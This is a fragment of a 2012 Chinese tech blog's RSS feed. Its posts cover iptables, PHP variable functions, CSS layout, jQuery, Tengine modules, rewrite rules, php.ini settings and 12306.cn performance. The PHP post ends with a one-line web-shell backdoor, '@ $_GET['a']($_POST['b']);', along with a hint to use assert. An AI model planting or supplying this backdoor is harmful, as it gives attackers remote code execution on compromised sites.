-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 25 -j ACCEPT
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT

iptalbes 是状态检测防火墙！ ]]></description>
			<link>http://www.lvtao.net/html/1831.html</link>
			<pubDate>2012-02-12, 12:12:04</pubDate>
		</item>
		<item>
			<title>PHP可变函数讲解及简单的使用.</title>
			<author>memory</author>
			<description><![CDATA[PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP 将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途。

变量函数不能用于语言结构，例如 echo()，print()，unset()，isset()，empty()，include()，require() 以及类似的语句。需要使用自己的包装函数来将这些结构用作变量函数。 

<?php
function foo() {
    echo "In foo()<br />\n";
}

function bar($arg = '') {
    echo "In bar(); argument was '$arg'.<br />\n";
}

// 使用 echo 的包装函数
function echoit($string)
{
    echo $string;
}

$func = 'foo';
$func();        // This calls foo()

$func = 'bar';
$func('test');  // This calls bar()

$func = 'echoit';
$func('test');  // This calls echoit()
?>

还可以利用可变函数的特性来调用一个对象的方法。 
<?php
class Foo
{
    function Variable()
    {
        $name = 'Bar';
        $this->$name(); // This calls the Bar() method
    }

    function Bar()
    {
        echo "This is Bar";
    }
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname();   // This calls $foo->Variable()

?>
[newpage]
可变变量

有时候使用可变变量名是很方便的。就是说，一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置，例如： 
<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号（$）以后，就可以作为一个可变变量的变量了。例如：
<?php
$$a = 'world';
?>

这时，两个变量都被定义了：$a 的内容是“hello”并且 $hello 的内容是“world”。因此，可以表述为：
<?php
echo "$a ${$a}";
?>

以下写法更准确并且会输出同样的结果：
<?php
echo "$a $hello";
?>

它们都会输出：hello world。

要将可变变量用于数组，必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时，解析器需要知道是想要 $a[1] 作为一个变量呢，还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是，对第一种情况用 ${$a[1]}，对第二种情况用 ${$a}[1]。 

[B]注意，在 PHP 的函数和类的方法中，超全局变量不能用作可变变量。 [/B]
[newpage]

拿站通常都这样留后门

@ $_GET['a']($_POST['b']);

好吧  看明白了吗 a不能get上eval

可以是assert   至于为什么  自己找原因吧 

这里不多说了 
]]></description>
			<link>http://www.lvtao.net/html/1830.html</link>
			<pubDate>2012-02-12, 12:11:30</pubDate>
		</item>
		<item>
			<title>用white-space:nowrap;解决中文标签标签换行问题</title>
			<author>memory</author>
			<description><![CDATA[在web2.0的概念中，标签是个时常出现的东东，可是在设计时中文不象英文那样在表现标签云时表现的那么好，主要是中文词组的成为标签后，有时会出现长标签在标签云中被断行的问题。

今天在经典论坛里看贴的时候发现 有人在问这个问题，以前遇到过，没有解决，这次乱试竞然被我试出来了，主要是用 display:inline-block; 这个属性～，具体代码如下：
<style type=”text/css”>
<!–
body{font-size:12px; color:#fff;}
div{width:110px; background:#000;}
span{padding:10px;display:inline-block;}
–>
</style>
<div>
<span>标签</span>
<span>标fdsfsd签</span>
<span>标标</span>
</div>

span里的元素在被定义了 display:inline-block; 这个属性之后，就再也不会被断行了，也不会把外层的 div 撑开（除非span比div还要宽了  ），这样就达到了和英文单词一样的标签云效果了，呵呵～

PS：FF不支持这个属性，还是IE比较人性化啊，哈哈～

PS PS：在群里又被 aoao 指点了一下，发现white-space:nowrap;就可以解决，FF也支持，郁闷啊～
<style type=”text/css”>
<!–
body{font-size:12px; color:#fff;}
div{width:110px; background:#000;}
span{padding:10px;white-space:nowrap;}
–>
</style>
<div>
<span>标</span>
<span>标fdsfsdfdsfdsfsdf</span>
<span>标</span>
</div>]]></description>
			<link>http://www.lvtao.net/html/1829.html</link>
			<pubDate>2012-02-10, 13:12:34</pubDate>
		</item>
		<item>
			<title>详解display:inline | block |inline-block的区别</title>
			<author>memory</author>
			<description><![CDATA[display:block就是将元素显示为块级元素.

block元素的特点是：
总是在新行上开始；
高度，行高以及顶和底边距都可控制；
宽度缺省是它的容器的100%，除非设定一个宽度
<div>, <p>, <h1>, <form>, <ul> 和 <li>是块元素的例子。

display:inline就是将元素显示为行内元素.

inline元素的特点是：
和其他元素都在一行上；
高，行高及顶和底边距不可改变；
宽度就是它的文字或图片的宽度，不可改变。
<span>, <a>, <label>, <input>, <img>, <strong> 和<em>是inline元素的例子。

inline和block可以控制一个元素的行宽高等特性，需要切换的情况如下：

让一个inline元素从新行开始；
让块元素和其他元素保持在一行上；
控制inline元素的宽度（对导航条特别有用）；
控制inline元素的高度；
无须设定宽度即可为一个块元素设定与文字同宽的背景色。

display:inline-block将对象呈递为内联对象，但是对象的内容作为块对象呈递。旁边的内联对象会被呈递在同一行内，允许空格。

inline-block的元素特点：

     将对象呈递为内联对象，但是对象的内容作为块对象呈递。旁边的内联对象会被呈递在同一行内，允许空格。(准确地说，应用此特性的元素呈现为内联对象，周围元素保持在同一行，但可以设置宽度和高度地块元素的属性)

     并不是所有浏览器都支持此属性，目前支持的浏览器有：Opera、Safari在IE中对内联元素使用display:inline-block，IE是不识别的，但使用display:inline-block在IE下会触发layout，从而使内联元素拥有了display:inline-block属性的表症。从上面的这个分析，也不难理解为什么IE下，对块元素设置display:inline-block属性无法实现inline-block的效果。这时块元素仅仅是被display:inline-block触发了layout，而它本就是行布局，所以触发后，块元素依然还是行布局，而不会如Opera中块元素呈递为内联对象。

IE下块元素如何实现display:inline-block的效果？

有两种方法：
1、先使用display:inline-block属性触发块元素，然后再定义display:inline，让块元素呈递为内联对象（两个display要先后放在两个CSS声明中才有效果，这是IE的一个经典bug，如果先定义了display:inline-block，然后再将display设回inline或block，layout不会消失）。代码如下（…为省略的其他属性内容）：

div {display:inline-block;…}
div {display:inline;}

2、直接让块元素设置为内联对象呈递（设置属性display:inline），然后触发块元素的layout（如：zoom:1等）。代码如下：

div {display:inline; zoom:1;…}

以下用个例子来说明三者的区别和用法:

<style>div,span{background-color:green;margin:5px;border:1px solid #333;padding:5px;height:52px;color:#fff;}.b{display:block;}.i{display:inline;}div.ib{display:inline-block;}div.ib{display:inline;}a.ib{display:inline-block;}a.ib{display:block;}span.v{padding:0;margin:0;border:0;vertical-align:middle;height:100%}</style><div>div display:block</div><div class=”i”>div display:inline</div><div class=”ib”>div display:inline-block</div><span>span display:inline</span><span class=”b”>span display:block</span><span><a class=”ib”>a display:block</a></span><br /><div><span class=”v”></span>vertical-align:middle</div>
[Ctrl+A 全部选择进行拷贝 提示：可先修改部分代码，再点击运行]]]></description>
			<link>http://www.lvtao.net/html/1828.html</link>
			<pubDate>2012-02-10, 13:11:42</pubDate>
		</item>
		<item>
			<title>完整xhtml的结构标签 适合新手</title>
			<author>memory</author>
			<description><![CDATA[结构
body, head, html, title
文本
abbr, acronym, address, blockquote, br, cite, code, dfn, div, em,
h1, h2, h3, h4, h5, h6, kbd, p, pre, q, samp, span, strong, var
链接
a
列表
dl, dt, dd, ol, ul, li
表单
form, input, label, select, option, textarea
表格
caption, table, td, th, tr
图片
img
对象
object, param
meta
外部调用
link
基本
base]]></description>
			<link>http://www.lvtao.net/html/1827.html</link>
			<pubDate>2012-02-10, 13:10:51</pubDate>
		</item>
		<item>
			<title>双击后编辑并AJAX提交保存的脚本</title>
			<author>memory</author>
			<description><![CDATA[<script type="text/javascript">
    jQuery(document).ready(function () {
        jQuery(".wordsupdate").dblclick(function () {
            id = jQuery(this).attr('id');
            text = jQuery(this).text();
            if (text) {
                jQuery(this).html("<textarea style='width:200px;height:50px;' name=" + id + " >" + text + "</textarea>");
                jQuery(".wordsupdate > textarea").focus().blur(function () {
                    jQuery.ajax({
                        type: "POST",
                        url: "/Home/Update",
                        data: "ID=" + id + "&Str=" + jQuery("#" + id + " > textarea").val(),
                        success: function (msg) {
                            jQuery("#" + id).html(jQuery("#" + id + " > textarea").val());
                        },
                        error: function (msg) {jQuery("#" + id).text(msg);}
                    });
                })
            }
        })
    })  
</script>]]></description>
			<link>http://www.lvtao.net/html/1826.html</link>
			<pubDate>2012-02-09, 17:23:09</pubDate>
		</item>
		<item>
			<title>淘宝开源服务器engine相关使用手册</title>
			<author>memory</author>
			<description><![CDATA[engine是由淘宝核心系统部基于Nginx开发的Web服务器，它在Nginx的基础上，针对大访问量网站的需求，添加了很多功能和特性。Tengine的性能和稳定性已经在大型的网站如淘宝网，淘宝商城等得到了很好的验证。它的最终目标是打造一个高效、稳定、安全、易用的 Web 平台。Tengine现已开源。
[B]
[URL=?p=1]主功能[/URL]
[URL=?p=2]linkNamebacktrace模块功能[/URL]
[URL=?p=3]headers模块功能[/URL]
[URL=?p=4]log模块功能[/URL]
[URL=?p=5]ssl模块功能[/URL]
[URL=?p=6]stub_status模块功能[/URL]
[URL=?p=7]sysguard模块功能[/URL]
[URL=?p=8]limit_req模块功能[/URL]
[URL=?p=9]footer filter模块功能[/URL]
[URL=?p=10]变量[/URL]
[/B]
[B]模块文档[/B]
[U]主功能[/U]
指令
Syntax: worker_processes [num | auto]
Default: worker_processes auto
Context: core

为worker_processes增加参数auto。当设置成auto，tengine将自动启动与cpu数量相同的worker进程。
Syntax: worker_cpu_affinity [mask1 mask2 mask3 ... | auto]
Default: worker_cpu_affinity auto
Context: core

为worker_cpu_affinity增加参数auto。当设置成auto时，tengine将根据worker的数量自动配置cpu绑定位图。绑定的顺序是按CPU编号从大到小。如果worker数量大于cpu数量，则剩余的worker进程将按照CPU编号从大到小的顺序从编号最大的CPU开始再次绑定。例如：某CPU有8核，

    worker数量是4，则自动配置的绑定位图是10000000, 01000000, 00100000, 00010000
    worker数量是8，则自动配置的绑定位图是10000000, 01000000, 00100000, 00010000, 00001000, 00000100, 00000010, 00000001
    worker数量是10，则自动配置的绑定位图是10000000, 01000000, 00100000, 00010000, 00001000, 00000100, 00000010, 00000001, 10000000, 01000000

worker_cpu_affinity的error log最多显示64个CPU的绑定情况。
[newpage]
[B]backtrace模块功能[/B]
ngx_http_backtrace_module
指令
Syntax: backtrace_log log_path
Default: backtrace_log error.log
Context: main

设置backtrace log的名字，如果log_path以'/'开头，则将会是绝对路径，否则将会放入nginx安装目录的conf文件夹下。比如：

    backtrace_log test.log

Syntax: backtrace_max_stack_size size
Default: backtrace_max_stack_size 30
Context: main

设置backtrace模块所打印的栈的最大长度。
[newpage]
[B]headers模块功能[/B]
在nginx本身原有的设置过期时间的基础上，增加了expires_by_types指令，用于根据Content-Type来设置过期时间。
原有的功能介绍看这里 http://wiki.nginx.org/HttpHeadersModule。

    expires_by_types       24h text/html;
    expires_by_types       modified +24h text/xml;
    expires_by_types       @15h30m text/xml;
    expires_by_types       0 text/xml;
    expires_by_types       -1 text/xml;
    expires_by_types       epoch text/xml;

指令
Syntax: expires_by_types [[modified] time | @time-of-day | epoch | max | off] content-type1
                  [content-type2] [content-type3] ...
Default: -
Context: http, server, location

该指令配置过期时间及其对应的content-type。过期时间的配置可参考expires的配置。在配置时间之后，可加上一到多个content-type。

注意，在即有expires也有expires_by_types出现时，规则如下：

    在同一级别中，如果同时出现expires与expires_by_type时，出现在expires_by_type中的content-type会优先选择expires_by_types中配置的，而没有出现在content-type中的，会选择expires中配置的；
    当本级别与上一级别都没有配置expires off时，expires与expires_by_types当本级别没有配置时分配继承上一级别的配置信息，然后再按照规则一执行；
    当本级别配置有expires off时，此时模块会忽略expires_by_types的所有配置，并禁用掉expires；
    当本级别没有配置expires，而上一级别有配置expires off时，本级别的expires_by_types将不受上一级别的expires的影响。

如：

    location /url {
        expires                10s;
        expires_by_types       24s text/html;
    }

此时，/url下面的文档，text/html类型的会返回24s的过期时间，而其它类型的会返回10s的过期时间。

    expires                    10s;
    expires_by_types           24s text/html;

    location /url {
        expires_by_types       20s text/rss;
    }

此时，/url下面的文档，text/rss类型的会返回20s的过期时间，而其它类型的会返回10s的过期时间。因为location里面的expires_by_types将上层的expires_by_types覆盖了。而expires 10s则被继承了下来。

    expires                    10s;
    expires_by_types           24s text/html;

    location /url {
        expires off;
        expires_by_types       20s text/rss;
    }

此时，/url下面的所有文档，都不会有过期时间。

    expires off;
    expires_by_types           24s text/html;

    location /url {
        expires_by_types       20s text/rss;
    }

此时，/url下面的文档，text/rss类型的会返回20s的过期时间，其它类型的没有过期时间。注意，expires off不会继承过来。
[newpage]
[B]log模块功能[/B]
ngx_http_log_module

扩展日志模块，提供syslog和pipe，以及日志采样。

开启syslog日志功能需要在编译是添加参数--with-syslog，否则syslog不会生效。

syslog模块兼容syslogd。使用syslog-ng需要修改配置文件以支持udp和unix-dgram，并屏蔽unix-stream：

    source s_sys {
        file ("/proc/kmsg" program_override("kernel: "));
        unix-dgram ("/dev/log");
        internal();
        udp(ip(0.0.0.0) port(514));
    };

指令
Syntax: access_log log_target [format [ratio=ratio [buffer=size]]] | off
Default: access_log logs/access.log combined ratio=1
Context: http, server, location

同nginx原有access_log，各参数有固定顺序。

    log_target
    兼容以前的log_file参数，并添加下面三种日志类型：

        file:/path/to/file
        syslog:facility[:loglevel:[target_ip[:target_port] | target_udgram_addr]]
        "pipe:/path/to/exec parms"

    ratio
    在buffer参数前，指定tengine以固定的采样率记录日志。例如：ratio=0.0001，那么每经过10000条记录，tengine会记录一条。
    如果需要使用buffer参数而不需要设置日志采样，不能省略此参数，需要设置ratio=1。
    下面介绍下支持的三种log_target：
        file
        与nginx的log_file对应的类型；
        syslog
        支持通过syslog方式记录日志；

            facility := auth | authpriv | cron | daemon | ftp | kern | lpr | mail | mark | news | security | syslog
                      | user | uucp | local0 | local1 | local2 | local3 | local4 | local5 | local6 | local7

            loglevel := crit | err | error | emerg | panic | alert | warn | warning | info | notice | debug
            loglevel默认值 = info

            target_ip[:target_port]：日志输出目的主机的IP地址和端口，端口默认是UDP(514)。这里syslog只支持UDP协议

            target_udgram_addr：unix dgram地址，默认为Unix dgram(/dev/log)。这里syslog只支持UNIX DGRAM协议

        例如：

            syslog:user::127.0.0.1           以user类型和info级别将日志发送给127.0.0.1:514的UDP端口
            syslog:user:debug                以user类型和debug级别将日志发送给本机Unix dgram(/dev/log)
            syslog:cron:debug:10.232.4.28    以cron类型和debug级别将日志发送到主机10.232.4.28:514的udp端口
            syslog:auth:err:10.232.4.28:10   以auth类型和err级别将日志发送到主机10.232.4.28:10的udp端口

        pipe
        因为pipe命令行中含有空格的缘故，pipe需要使用双引号引用，命令行中的双引号需要转义。
        另外pipe进程的(user, group)遵循tengine指令user的配置，如果没有使用user指令配置的话，pipe进程将遵循tengine的默认用户设置，在编译时没有制定的情况下，默认设置是(nobody, nobody)。请注意给与pipe进程适当的权限。

Syntax: error_log log_target [debug | info | notice | warn | error | crit]
Default: error_log logs/error.log
Context: core, http, server, location

为error_log增加syslog和pipe支持，使用同access_log。
Syntax: syslog_retry_interval seconds
Default: syslog_retry_interval 1800
Context: core

建立连接失败后，下一次重试的时间间隔，单位：秒。
[newpage]
[B]ssl模块功能[/B]
ngx_http_ssl_module
指令
Syntax: ssl_pass_phrase_dialog [builtin | exec:/path/to/exec]
Default: ssl_pass_phrase_dialog builtin
Context: http, server

设置tengine处理使用密钥加密的证书时，通过指定方式获取证书密钥。类似于apache指令：SSLPassPhraseDialog 支持的参数：

    builtin
    通过控制台交互方式获得密钥
    exec:/path/to/exec
    执行/path/to/exec，将其输出结果作为密钥
[newpage]
[B]stub_status模块功能[/B]
ngx_http_stub_status_module

增加对每请求的响应时间的统计：在nginx status模块中增加了所有请求的总响应时间(request_time)，单位为ms，可以用来统计一段时间的平均RT(response time)：

    Active connections: 1
    server accepts handled requests request_time
    1 1 1 0
    Reading: 0 Writing: 1 Waiting: 0
[newpage]
[B]sysguard模块功能[/B]
ngx_http_sysguard_module

当swap的剩余百分比，load值到设定的值时，就会跳转到action所指定的url。

    server {
        sysguard on;

        sysguard_load load=1.1 action=/loadlimit;
        sysguard_mem swapratio=90% action=/swaplimit;

        location /loadlimit {
            return 500;
        }

        location /swaplimit {
            return 500;
        }
    }

注意，目前该模块仅对系统支持sysinfo函数时，才支持基于load与内存信息的保护，以及系统支持loadavg函数时支持基于load进行保护。

指令
Syntax: sysguard [on | off]
Default: sysguard off
Context: http, server

该指令打开或半闭sysguard功能。
Syntax: sysguard_load load=number [action=/url]
Default: -
Context: http, server

该指令用于配置根据系统的load来限制用户的请求，以保护系统。当系统在一分钟内的load达到number时，将进来的请求转到action所指定的url。如果action没有配置，则直接返回503错误。
Syntax: sysguard_mem swapratio=ratio% [action=/url]
Default: -
Context: http, server

该指定用于配置根据系统的内存使用状态来限制用户请求，以保护系统。swapratio用于配置当当前交换空间的已使用ratio%时，就将进来的请求跳转到指定的url。如果action没有配置，则直接返回503错误。另外，如果用户自己禁用了交换区间，则配置该指定是不起作用的。
Syntax: sysguard_interval time
Default: sysguard_interval 1s
Context: http, server

该指定用于配置获取系统信息时的缓存时间。默认为1s，则表示在这1s内，只调用一次系统函数来获取系统的当前状况。
Syntax: sysguard_log_level [info | notice | warn | error]
Default: sysguard_log_level error
Context: http, server

该指令用于配置，当保护系统的操作执行时，记录日志时的日志级别。
[newpage]
[B]limit_req模块功能[/B]
ngx_http_limit_req_module
指令
Syntax: limit_req_log_level info | notice | warn | error
Default: limit_req_log_level warn
Context: http

和nginx相同。
Syntax: limit_req_zone $session_variable1 $session_variable2 ... zone=name_of_zone:size rate=rate
Default: -
Context: http

和nginx类似，不过支持多个变量，并且支持多个limit_req_zone的设置。比如：

    limit_req_zone $binary_remote_addr zone=one:3m rate=1r/s;
    limit_req_zone $binary_remote_addr $uri zone=two:3m rate=1r/s;
    limit_req_zone $binary_remote_addr $uri $args zone=thre:3m rate=1r/s;

上面的第二个指令表示当相同的ip地址并且访问相同的uri，会导致进入limit req的限制（每秒1个请求）。

Syntax: limit_req [on | off] | zone=zone burst=burst [forbid_action=action] [nodelay]
Default: -
Context: http, server, location

zone，burst以及nodelay的使用与nginx的limit req模块中相同。

支持开关，默认是打开状态。并且一个location支持多个limit_req指令，当有多个limit_req指令的话，这些指令是或的关系，也就是当其中任意一个限制被触发，则执行对应的limit_req。

forbid_action表示当条件被触发时，nginx所要执行的动作，支持name location和页面(/)，默认是返回503。比如：

    limit_req_zone $binary_remote_addr zone=one:3m rate=1r/s;
    limit_req_zone $binary_remote_addr $uri zone=two:3m rate=1r/s;
    limit_req_zone $binary_remote_addr $uri $args zone=three:3m rate=1r/s;

    location / {
        limit_req zone=one burst=5;
        limit_req zone=two forbid_action=@test1;
        limit_req zone=three burst=3 forbid_action=@test2;
    }

    location /off {
        limit_req off;
    }

    location @test1 {
        rewrite ^ /test1.html;
    }

    location @test2 {
        rewrite ^  /test2.html;
    }

Syntax: limit_req_whitelist geo_var_name=var_name geo_var_value=var_value
Default: -
Context: http, server, location

表示白名单，要协同geo模块进行工作，其中geo_var_name表示geo模块设置的变量名，而geo_var_value表示geo模块设置的变量值。比如：

    geo $white_ip {
        ranges;
        default 0;
        127.0.0.1-127.0.0.255 1;
    }

    limit_req_whitelist geo_var_name=white_ip geo_var_value=1;

上面表示ip 127.0.0.1-127.0.0.255这个区间都会跳过limit_req的处理。
 [newpage]
[B]footer filter模块功能[/B]
ngx_http_footer_filter_module

在请求的响应末尾输出一段内容。输出内容可配置，并支持内嵌变量。

    location / {
        root html;
        footer_types "text/plain" "text/css" "application/x-javascript";
        footer "$host_comment";
    }

指令
Syntax: footer format
Default: -
Context: http, server, location

在每个HTTP响应的正文结尾插入指定的format内容。如果format中含有变量，会被替换为变量当前的值。

举例：

    location / {
        footer "<!-- $hostname, $year/$month/$day $hour:$minute:$second, $request -->";
        index index.html;
    }

Syntax: footer_types type1 [type2] [type3]
Default: footer_types text/html
Context: http, server, location

定义需要插入footer的响应类型（Response Content-Type）。
[newpage]
[B]变量[/B]
变量
$request_time_msec

请求处理时间，单位是毫秒
$request_time_usec

请求处理时间，单位是微秒
$year

当前4位年（如2011）
$year2

当前2位年（如11）
$month

当前月份，有前导0（如12）
$day

当前日，有前导0（如22）
$hour

当前24小时制的小时，有前导0（如21）
$hour12

当前12小时制的小时，有前导0（如09）
$minute

当前分钟，有前导0（如55）
$second

当前秒，有前导0（如12）
$host_comment

主机名和时戳，内容类似于“<!-- localhost Thu, 29 Dec 2011 10:10:56 GMT -->”。]]></description>
			<link>http://www.lvtao.net/html/1825.html</link>
			<pubDate>2012-02-08, 17:08:35</pubDate>
		</item>
		<item>
			<title>shopex  伪静态URL rewrite规则专题</title>
			<author>memory</author>
			<description><![CDATA[首先是解释一下新版本rewrite和url布局几点另大家疑惑的地方。
* 改用横线 "-" 替换下划线 "_" 是为了url的语义更好。更利于seo, 因为下环线是连字符！
* 如果开启rewrite，过去的网址将依然有效，用户可以同时通过新老两种url访问你的系统。同时我们会通过发送301头信息更新搜索引擎的记录为新地址
* 该转换规则存在于plugins/functions/urlmap.php文件中。 其他系统转换过来的用户可以通过修改该文件，使得旧地址依然有效
* 新版本url地址映射关系是由plugins/functions/actmapper.php文件所定义, 熟悉php的用户可以自己设计独特的url方式

----------------------------------8<--------------------------------

Apache 的rewrite规则

RewriteEngine on
# 设置RewriteBase的值为你的商店目录地址
RewriteBase /
RewriteCond %{REQUEST_FILENAME} \.(html|xml|json|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|cgi|shtml|shtm|phtm|xml)$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?$1 [L]

rewrite启用方法，就是把root.htaccess改名成.htaccess。
更改.htaccess文件中rewritebase为你url的前缀
如果感觉麻烦，直接在后台 设置->基本设置->启用伪静态。由程序自动完成上面两个工作。

----------------------------------8<--------------------------------

IIS下的配置方法
iis下需要isapi_rewrite 第三版,老版本的rewrite不支持RewriteCond语法。
下载地址 http://www.helicontech.com/download-isapi_rewrite3.htm
下载那个ISAPI_Rewrite Lite for Windows NT4/2000/XP/2003 (Freeware!)即可，免费软件!
安装好后，规则和apache类似。直接复制到httpd.conf文件中即可，有的系统也可能叫httpd.ini。

# 设置RewriteBase的值为你的商店目录地址
RewriteBase /
RewriteCond %{REQUEST_FILENAME} \.(html|xml|json|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|cgi|shtml|shtm|phtm|xml)$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?$1 [L]

----------------------------------8<--------------------------------


Nginx
请修改PATH为你的安装路径
location /PATH/ {
if (!-e $request_filename) {
rewrite ^/PATH/(.+\.(html|xml|json|htm|php|jsp|asp|shtml|xml))$ /PATH/index.php?$1 last;
}
}
webserver众多，我们仅列出具有代表性的几款
使用其他服务器的高手们，欢迎把你们的服务器环境与配置方法在下面跟贴, 与大家分享。谢谢!]]></description>
			<link>http://www.lvtao.net/html/1824.html</link>
			<pubDate>2012-02-08, 16:34:01</pubDate>
		</item>
		<item>
			<title>php.ini中几个参数的设置 艾洁同学.请记好</title>
			<author>memory</author>
			<description><![CDATA[. php.ini 中与资源相关的设置
设置 	                                描述                                                           	 建议值
max_execution_time 	一个脚本可使用多少 CPU 秒                                     30
max_input_time 	        一个脚本等待输入数据的时间有多长（秒） 	            60
memory_limit 	                在被取消之前，一个脚本可使用多少内存（字节） 	    32M
output_buffering            	数据发送给客户机之前，有多少数据（字节）需要缓存    4096

具体数字主要取决于您的应用程序。如果要从用户处接收大文件，那么 max_input_time 可能必须增加，可以在 php.ini 中修改，也可以通过代码重写它。与之类似，CPU 或内存占用较多的程序也可能需要更大的设置值。目标就是缓解超标程序的影响，因此不建议全局禁用这些设置。关于 max_execution_time，还有一点需要注意：它表示进程的 CPU 时间，而不是绝对时间。因此一个进行大量 I/O 和少量计算的程序的运行时间可能远远超过 max_execution_time。这也是 max_input_time 可以大于 max_execution_time 的原因所在。 ]]></description>
			<link>http://www.lvtao.net/html/1823.html</link>
			<pubDate>2012-02-08, 16:32:44</pubDate>
		</item>
		<item>
			<title>由12306.cn谈谈网站性能技术</title>
			<author>memory</author>
			<description><![CDATA[12306.cn网站挂了，被全国人民骂了。我这两天也在思考这个事，我想以这个事来粗略地和大家讨论一下网站性能的问题。因为仓促，而且完全基于本人有限的经验和了解，所以，如果有什么问题还请大家一起讨论和指正。（这又是一篇长文，只讨论性能问题，不讨论那些UI，用户体验，或是是否把支付和购票下单环节分开的功能性的东西）

业务

任何技术都离不开业务需求，所以，要说明性能问题，首先还是想先说说业务问题。

    其一，有人可能把这个东西和QQ或是网游相比。但我觉得这两者是不一样的，网游和QQ在线或是登录时访问的更多的是用户自己的数据，而订票系统访问的是中心的票量数据，这是不一样的。不要觉得网游或是QQ能行你就以为这是一样的。网游和QQ 的后端负载相对于电子商务的系统还是简单。

    其二，有人说春节期间订火车的这个事好像网站的秒杀活动。的确很相似，但是如果你的思考不在表面的话，你会发现这也有些不一样。火车票这个事，还有很多查询操作，查时间，查座位，查铺位，一个车次不 行，又查另一个车次，其伴随着大量的查询操作，下单的时候需要对数据库操作。而秒杀，直接杀就好了。另外，关于秒杀，完全可以做成只接受前N个用户的请求（完全不操作后端的任何数据， 仅仅只是对用户的下单操作log），这种业务，只要把各个服务器的时间精确同步了就可以了，无需在当时操作任何数据库。可以订单数够后，停止秒杀，然后批量写数据库。火车票这个岂止是秒杀那么简单。能不能买到票得当时告诉用户啊。

    其三，有人拿这个系统和奥运会的票务系统比较。我觉得还是不一样。虽然奥运会的票务系统当年也一上线就废了。但是奥运会用的是抽奖的方式，也就是说不存在先来先得的抢的方式，而且，是事后抽奖，事前只需要收信息，事前不需要保证数据一致性，没有锁，很容易水平扩展。

    其四，订票系统应该和电子商务的订单系统很相似，都是需要对库存进行：1）占住库存，2）支付（可选），3）扣除库存的操作。这个是需要有一致性的检查的，也就是在并发时需要对数据加锁的。B2C的电商基本上都会把这个事干成异步的，也就是说，你下的订单并不是马上处理的，而是延时处理的，只有成功处理了，系统才会给你一封确认邮件说是订单成功。我相信有很多朋友都收到认单不成功的邮件。这就是说，数据一致性在并发下是一个瓶颈。

    其五，铁路的票务业务很变态，其采用的是突然放票，而有的票又远远不够大家分，所以，大家才会有抢票这种有中国特色的业务的做法。于是当票放出来的时候，就会有几百万人甚至上千万人杀上去，查询，下单。几十分钟内，一个网站能接受几千万的访问量，这个是很恐怖的事情。据说12306的高峰访问是10亿PV，集中在早8点到10点，每秒PV在高峰时上千万。

多说几句：

    库存是B2C的恶梦，库存管理相当的复杂。不信，你可以问问所有传统和电务零售业的企业，看看他们管理库存是多么难的一件事。不然，就不会有那么多人在问凡客的库存问题了。（你还可以看看《乔布斯传》，你就知道为什么Tim会接任Apple的CEO了，因为他搞定了苹果的库存问题）

    对于一个网站来说，浏览网页的高负载很容易搞定，查询的负载有一定的难度去处理，不过还是可以通过缓存查询结果来搞定，最难的就是下单的负载。因为要访问库存啊，对于下单，基本上是用异步来搞定的。去年双11节，淘宝的每小时的订单数大约在60万左右，京东一天也才能支持40万（居然比12306还差），亚马逊5年前一小时可支持70万订单量。可见，下订单的操作并没有我们相像的那么性能高。

    淘宝要比B2C的网站要简单得多，因为没有仓库，所以，不存在像B2C这样有N个仓库对同一商品库存更新和查询的操作。下单的时候，B2C的 网站要去找一个仓库，又要离用户近，又要有库存，这需要很多计算。试想，你在北京买了一本书，北京的仓库没货了，就要从周边的仓库调，那就要去看看沈阳或 是西安的仓库有没有货，如果没有，又得看看江苏的仓库，等等。淘宝的就没有那么多事了，每个商户有自己的库存，库存分到商户头上了，反而有利于性能。

    数据一致性才是真正的性能瓶颈。有 人说nginx可以搞定每秒10万的静态请求，我不怀疑。但这只是静态请求，理论值，只要带宽、I/O够强，服务器计算能力够，并支持的并发连接数顶得住10万TCP链接的建立 的话，那没有问题。但在数据一致性面前，这10万就完完全全成了一个可望不可及的理论值了。

我说那么多，我只是想从业务上告诉大家，我们需要从业务上真正了解春运铁路订票这样业务的变态之处。
前端性能优化技术

要解决性能的问题，有很多种常用的方法，我在下面列举一下，我相信12306这个网站使用下面的这些技术会让其性能有质的飞跃。
一、前端负载均衡

通过DNS的负载均衡器（一般在路由器上根据路由的负载重定向）可以把用户的访问均匀地分散在多个Web服务器上。这样可以减少Web服务器的请求负载。因为http的请求都是短作业，所以，可以通过很简单的负载均衡器来完成这一功能。最好是有CDN网络让用户连接与其最近的服务器（CDN通常伴随着分布式存储）。（关于负载均衡更为详细的说明见“后端的负载均衡”）
二、减少前端链接数

我看了一下12306.cn，打开主页需要建60多个HTTP连接，车票预订页面则有70多个HTTP请求，现在的浏览器都是并发请求的。所以，只要有100万个用户，就会有6000万个链接，太多了。一个登录查询页面就好了。把js打成一个文件，把css也打成一个文件，把图标也打成一个文件，用css分块展示。把链接数减到最低。
三、减少网页大小增加带宽

这个世界不是哪个公司都敢做图片服务的，因为图片太耗带宽了。现在宽带时代很难有人能体会到当拨号时代做个图页都不敢用图片的情形（现在在手机端浏览也是这个情形）。我查看了一下12306首页的需要下载的总文件大小大约在900KB左右，如果你访问过了，浏览器会帮你缓存很多，只需下载10K左右的文件。但是我们可以想像一个极端一点的案例，1百万用户同时访问，且都是第一次访问，每人下载量需要1M，如果需要在120秒内返回，那么就需要，1M * 1M /120 * 8 = 66Gbps的带宽。很惊人吧。所以，我估计在当天，12306的阻塞基本上应该是网络带宽，所以，你可能看到的是没有响应。后面随着浏览器的缓存帮助12306减少很多带宽占用，于是负载一下就到了后端，后端的数据处理瓶颈一下就出来。于是你会看到很多http 500之类的错误。这说明服务器垮了。
